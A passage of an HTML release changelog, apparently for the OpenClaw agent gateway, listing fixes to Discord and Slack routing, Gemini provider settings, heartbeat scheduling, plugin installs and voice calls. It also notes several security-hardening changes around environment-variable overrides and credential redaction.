<li>Gateway/config: allow <code>gateway config.patch</code> to update documented subagent thinking defaults. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365780380" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75764" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75764/hovercard" href="https://github.com/openclaw/openclaw/issues/75764">#75764</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366498289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75802" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75802/hovercard" href="https://github.com/openclaw/openclaw/pull/75802">#75802</a>) Thanks @kAIborg24.</li>
<li>Plugins/CLI: keep git plugin install paths credential-free, preserve existing git checkouts until replacement succeeds, honor duplicate npm install mode, and remove managed git repos on uninstall. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/CLI: redact authenticated git URLs from git install command failure details, so failed clone or checkout output cannot leak credentials during plugin installs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels/status reactions: remove stale non-terminal lifecycle reactions when a run reaches done or error, so Discord does not leave a permanent thinking emoji after completion. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363092374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75458" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75458/hovercard" href="https://github.com/openclaw/openclaw/issues/75458">#75458</a>. Thanks @davelutztx.</li>
<li>Discord/doctor: migrate unsupported per-channel <code>agentId</code> entries under guild channel config into top-level <code>bindings[]</code> routes, so <code>openclaw doctor --fix</code> preserves the intended agent route instead of stripping it as an unknown key. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4217423565" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62455" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62455/hovercard" href="https://github.com/openclaw/openclaw/issues/62455">#62455</a>. Thanks @lobster-biscuit.</li>
<li>Discord/DMs: set inbound direct-message <code>ctx.To</code> to the semantic <code>user:&lt;id&gt;</code> target while keeping delivery routed through the DM channel, so mirror and recovery paths do not treat DMs as channel conversations. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4282995155" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68126" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68126/hovercard" href="https://github.com/openclaw/openclaw/issues/68126">#68126</a>. Thanks @illuminate0623.</li>
<li>Discord/DMs: keep no-guild inbound messages on direct-message routing when Discord channel lookup is temporarily unavailable, preventing degraded DMs from forking into channel sessions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4195831671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59817" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59817/hovercard" href="https://github.com/openclaw/openclaw/issues/59817">#59817</a>. Thanks @DooPeePey.</li>
<li>Discord: retry outbound API calls on HTTP 5xx, request-timeout, and transient transport failures instead of only Discord rate limits, reducing dropped cron and agent replies during short Discord or network outages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4116577020" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52396" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52396/hovercard" href="https://github.com/openclaw/openclaw/issues/52396">#52396</a>. Thanks @sunshineo.</li>
<li>Discord: include Components v2 Text Display content from referenced replies and forwarded snapshots, so component-only messages still appear in reply context. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4158079453" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56228" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56228/hovercard" href="https://github.com/openclaw/openclaw/issues/56228">#56228</a>. Thanks @HollandDrive.</li>
<li>Discord: add configurable gateway READY timeouts for startup and runtime reconnects, so staggered multi-account setups can avoid false restart loops. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331372526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72273" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72273/hovercard" href="https://github.com/openclaw/openclaw/issues/72273">#72273</a>. Thanks @sergionsantos.</li>
<li>Discord: preserve native slash-command description localizations through command reconcile, so localized Discord descriptions no longer get overwritten by English defaults. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4161405333" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56580" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56580/hovercard" href="https://github.com/openclaw/openclaw/issues/56580">#56580</a>. Thanks @mhseo93.</li>
<li>Discord: add configured outbound mention aliases so known <code>@Name</code> references can be rewritten to real Discord user mentions instead of relying only on the transient directory cache. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4274166014" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67587" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67587/hovercard" href="https://github.com/openclaw/openclaw/issues/67587">#67587</a>. Thanks @McoreD.</li>
<li>Discord: avoid startup REST amplification by skipping native command deploy retries after Discord rate limits and deriving the bot id from parseable bot tokens instead of requiring a <code>/users/@me</code> lookup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362306201" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75341" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75341/hovercard" href="https://github.com/openclaw/openclaw/issues/75341">#75341</a>. Thanks @PrinceOfEgypt.</li>
<li>Plugins/hooks: derive hook <code>ctx.channelId</code> from the conversation target instead of the provider name, so Discord and other channel plugins can keep per-channel state isolated. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4196584916" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59881" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59881/hovercard" href="https://github.com/openclaw/openclaw/issues/59881">#59881</a>. Thanks @bradfreels.</li>
<li>Gateway/config: log config health-state write failures instead of silently hiding config observe-recovery write errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</li>
<li>Diagnostics: reset stuck-session timers on reply, tool, status, block, and ACP progress events, and back off repeated <code>session.stuck</code> diagnostics while a session remains unchanged. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330206713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72010" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72010/hovercard" href="https://github.com/openclaw/openclaw/pull/72010">#72010</a>. Thanks @rubencu.</li>
<li>Gateway/agents: avoid rebuilding core tools for plugin-only allowlists and keep the full plugin registry cache warm across scoped plugin loads, reducing per-turn latency spikes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367404227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75882" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75882/hovercard" href="https://github.com/openclaw/openclaw/issues/75882">#75882</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367580317" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75907" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75907/hovercard" href="https://github.com/openclaw/openclaw/issues/75907">#75907</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367573379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75906" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75906/hovercard" href="https://github.com/openclaw/openclaw/issues/75906">#75906</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367498934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75887" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75887/hovercard" href="https://github.com/openclaw/openclaw/issues/75887">#75887</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367081946" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75851" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75851/hovercard" href="https://github.com/openclaw/openclaw/issues/75851">#75851</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367733132" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75922" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75922/hovercard" href="https://github.com/openclaw/openclaw/pull/75922">#75922</a>) Thanks @obviyus.</li>
<li>Agents/failover: classify bare <code>status: internal server error</code> provider messages as retryable server errors so model fallback can rotate instead of stopping. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346697764" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73844" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73844/hovercard" href="https://github.com/openclaw/openclaw/pull/73844">#73844</a>) Thanks @thesomewhatyou.</li>
<li>Gateway/startup: return the shared retryable startup-sidecars error for startup-gated control-plane RPCs such as sessions.create, sessions.send, sessions.abort, agent.wait, and tools.effective, so clients can retry early sidecar races. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368487370" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76012" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76012/hovercard" href="https://github.com/openclaw/openclaw/pull/76012">#76012</a>) Thanks @scoootscooob.</li>
<li>Providers/Google: fix Gemini 2.5 Flash-Lite <code>reasoning: "minimal"</code> rejections by raising its thinking-budget floor to 512 while preserving the existing Gemini 2.5 Pro and Flash minimal presets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4316577583" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70629" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70629/hovercard" href="https://github.com/openclaw/openclaw/pull/70629">#70629</a>) Thanks @ericberic.</li>
<li>Agents/status: resolve <code>session_status(sessionKey="current")</code> for sparse channel-plugin sessions after literal current lookups miss, so Scope, Slack, Discord, and other plugin-driven agents avoid retrying through <code>Unknown sessionKey: current</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348384116" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74141" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74141/hovercard" href="https://github.com/openclaw/openclaw/issues/74141">#74141</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331560781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72306" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72306/hovercard" href="https://github.com/openclaw/openclaw/pull/72306">#72306</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bittoby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bittoby">@bittoby</a>.</li>
<li>Cron: retry recurring wake-now main-session jobs through temporary heartbeat busy skips before recording success, so queued cron events no longer appear as ok ghost runs while the main lane is still busy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368042745" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75964" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75964/hovercard" href="https://github.com/openclaw/openclaw/issues/75964">#75964</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369011338" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76083" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76083/hovercard" href="https://github.com/openclaw/openclaw/pull/76083">#76083</a>) Thanks @kshetrajna12 and @xuruiray.</li>
<li>Providers/Google: keep Gemini thinking-signature-only stream chunks active during reasoning, so Gemini 3.1 Pro Preview replies no longer hit idle timeouts before visible text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368880968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76071" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76071/hovercard" href="https://github.com/openclaw/openclaw/issues/76071">#76071</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368997122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76080" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76080/hovercard" href="https://github.com/openclaw/openclaw/pull/76080">#76080</a>) Thanks @marcoschierhorn and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>CLI/skills: show per-agent model and command visibility in <code>openclaw skills check --agent</code>, and let doctor report or disable unavailable skills allowed for the default agent. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368251753" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75983" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75983/hovercard" href="https://github.com/openclaw/openclaw/pull/75983">#75983</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>.</li>
<li>Agents/runtime/tools: keep reply startup on Gateway metadata, manifest catalog rows, auth-store state, and plugin loader cache-key compatibility checks so scoped runtime registries, model allowlists, thinking metadata, media/PDF/generation tools, Comfy workflows, OpenAI Codex OAuth image generation, and image/video/music tool registration avoid broad provider/runtime loads while preserving explicit config and auth-backed providers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Discord: document canonical mention formatting in agent prompt hints and channel docs so outbound replies use <code>&lt;@USER_ID&gt;</code>, <code>&lt;#CHANNEL_ID&gt;</code>, and <code>&lt;@&amp;ROLE_ID&gt;</code> instead of legacy nickname mentions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359907332" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75173/hovercard" href="https://github.com/openclaw/openclaw/pull/75173">#75173</a>)</li>
<li>Heartbeat scheduler: gate exec-event/notification/spawn/retry wakes through a centralized cooldown so backgrounded <code>process.start</code> exit notifications can no longer self-feed runaway heartbeat runs (configured <code>every: "30m"</code> was firing every ~10s in production, pegging the gateway event loop with <code>eventLoopDelayMaxMs &gt;6s</code> spikes that stalled control-UI asset serving and TUI handshakes). Documented wake-now paths (<code>manual</code>, <code>wake</code>, task completion, blocked-task follow-up, <code>/hooks/wake mode=now</code>, and cron <code>--wake now</code>) remain immediate; retryable busy skips no longer poison the cooldown for the next retry; per-agent flood guard caps any unexpected feedback loop at 5 runs/60s. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4236016269" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64016" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64016/hovercard" href="https://github.com/openclaw/openclaw/issues/64016">#64016</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3946045245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/17797" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/17797/hovercard" href="https://github.com/openclaw/openclaw/issues/17797">#17797</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362911805" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75436" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75436/hovercard" href="https://github.com/openclaw/openclaw/issues/75436">#75436</a>) Thanks @hexsprite.</li>
<li>fix: block workspace CLOUDSDK_PYTHON override and always set trusted interpreter for gcloud. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352375218" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74492" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74492/hovercard" href="https://github.com/openclaw/openclaw/pull/74492">#74492</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Providers/Z.AI: move the bundled GLM catalog and auth env metadata into the plugin manifest, so <code>models list --all --provider zai</code> shows the full known catalog without duplicated runtime seed data. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Providers/Qianfan and Providers/Stepfun: declare setup auth metadata (<code>api-key</code> method, <code>QIANFAN_API_KEY</code>, <code>STEPFUN_API_KEY</code>) in the plugin manifest so onboarding and <code>models setup</code> surface the expected env var without falling back to legacy <code>providerAuthEnvVars</code> runtime seed data. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>fix(infra): block ambient Homebrew env vars from brew resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351948564" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74463" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74463/hovercard" href="https://github.com/openclaw/openclaw/pull/74463">#74463</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Onboarding/configure: avoid staging every default plugin runtime dependency after config writes, so skipped setup flows only prepare config-selected plugin deps instead of pulling broad feature-plugin packages. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Thinking/providers: resolve bundled provider thinking profiles through lightweight provider policy artifacts when startup-lazy providers are not active, so OpenAI Codex GPT-5.x keeps xhigh available in Gateway session validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355122984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74796" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74796/hovercard" href="https://github.com/openclaw/openclaw/issues/74796">#74796</a>. Thanks @maxschachere.</li>
<li>Security/Windows: ignore workspace <code>.env</code> system-path variables and resolve stale-process <code>taskkill.exe</code> from the validated Windows install root, preventing repository-local env files from redirecting cleanup helpers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>CLI/plugins: refresh persisted plugin registry policy in place for <code>plugins enable</code> and <code>plugins disable</code>, so routine toggles no longer rebuild and hash every plugin source when the target is already indexed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Windows/install: run npm from a writable installer temp directory and pin the Bedrock runtime dependency below a Windows ARM Node 24 npm resolver failure, so global OpenClaw installs no longer fail before onboarding. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>.</li>
<li>CLI/plugins: scope install and enable slot selection to the selected plugin manifest/runtime fallback, so plugin installs no longer load every plugin runtime or broad status snapshot just to update memory/context slots. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/TTS: keep bundled speech-provider discovery available on cold package Gateway paths and add bundled plugin matrix runtime probes for health, readiness, RPC, TTS discovery, and post-ready runtime-deps watchdog coverage. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361552521" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75283" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75283/hovercard" href="https://github.com/openclaw/openclaw/issues/75283">#75283</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Google Meet/Twilio: show delegated voice call ID, DTMF, and intro-greeting state in <code>googlemeet doctor</code>, and avoid claiming DTMF was sent when no Meet PIN sequence was configured. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</li>
<li>Plugins/tools: prefer built bundled plugin code during tool discovery and skip channel runtime hydration while preserving companion provider registrations, reducing per-run plugin-tool prep cost without dropping executable plugin tools. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361658522" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75290" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75290/hovercard" href="https://github.com/openclaw/openclaw/issues/75290">#75290</a>. Thanks @thanos-openclaw.</li>
<li>Plugins/loader: scope plugin-tool registry reuse to the enabled plugin plan and stored Gateway method keys, so embedded runner tool lookup can reuse compatible startup registries without hiding enabled non-startup plugin tools. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363466995" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75520" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75520/hovercard" href="https://github.com/openclaw/openclaw/issues/75520">#75520</a>. Thanks @whtoo.</li>
<li>Voice Call/Twilio: send notify-mode initial TwiML directly in the outbound create-call request while keeping conversation and pre-connect DTMF calls webhook-driven, so one-shot notify calls do not depend on a first-answer webhook fetch. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335052780" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72758" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72758/hovercard" href="https://github.com/openclaw/openclaw/pull/72758">#72758</a>. Thanks @tyshepps.</li>
<li>Discord/Slack: defer status-reaction cleanup until run finalization so queued, thinking, tool, and terminal reactions no longer flicker during normal progress updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363934911" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75582" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75582/hovercard" href="https://github.com/openclaw/openclaw/pull/75582">#75582</a>)</li>
<li>Discord/voice: leave voice off for text-only configs unless explicitly configured, rerun configured voice auto-join after gateway RESUMED events, ignore already-destroyed stale voice connections during reconnect cleanup, lengthen the default voice join Ready wait with configurable timeouts, merge configured media-understanding providers such as Deepgram into partial active registries, apply per-channel <code>systemPrompt</code> overrides to voice transcript turns, and run voice-channel turns under a voice-output policy that hides the agent <code>tts</code> tool. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345485387" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73753" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73753/hovercard" href="https://github.com/openclaw/openclaw/issues/73753">#73753</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4043554548" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40665" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40665/hovercard" href="https://github.com/openclaw/openclaw/issues/40665">#40665</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4223830724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63098" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63098/hovercard" href="https://github.com/openclaw/openclaw/issues/63098">#63098</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251059736" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65687" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65687/hovercard" href="https://github.com/openclaw/openclaw/issues/65687">#65687</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077930512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47095" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47095/hovercard" href="https://github.com/openclaw/openclaw/issues/47095">#47095</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4208687812" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61536" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61536/hovercard" href="https://github.com/openclaw/openclaw/issues/61536">#61536</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347706250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74044" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74044/hovercard" href="https://github.com/openclaw/openclaw/issues/74044">#74044</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041199935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39825" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39825/hovercard" href="https://github.com/openclaw/openclaw/issues/39825">#39825</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245973986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65039" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65039/hovercard" href="https://github.com/openclaw/openclaw/issues/65039">#65039</a>. Thanks @sanchezm86, @SecureCloudProjO, @liz709, @darealgege, @kzicherman, @ayochim, @OneMintJulep, @qearlyao, and @aounakram.</li>
<li>Plugins/CLI: reuse the cold manifest registry while building plugin status and inspect reports, so large configured plugin sets no longer rediscover the bundled/plugin registry once per inspect row. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/health: refresh cached health RPC snapshots when channel runtime state diverges, so Discord and other channel status reads no longer report stale running or connected values until the cache TTL expires. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362790644" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75423" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75423/hovercard" href="https://github.com/openclaw/openclaw/pull/75423">#75423</a>)</li>
<li>Gateway/sessions: keep session-store reads from running stale prune and entry-count cap maintenance during startup, so oversized stores no longer block chat history readiness after updates while writes and <code>sessions cleanup --enforce</code> still preserve the cleanup safeguards. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4307434486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70050" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70050/hovercard" href="https://github.com/openclaw/openclaw/issues/70050">#70050</a>. Thanks @tangda18.</li>
<li>Security/audit: keep plain <code>security audit</code> on the cold config/filesystem path and reserve plugin runtime security collectors for <code>--deep</code>, so large plugin installs cannot execute every plugin runtime during routine audits. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
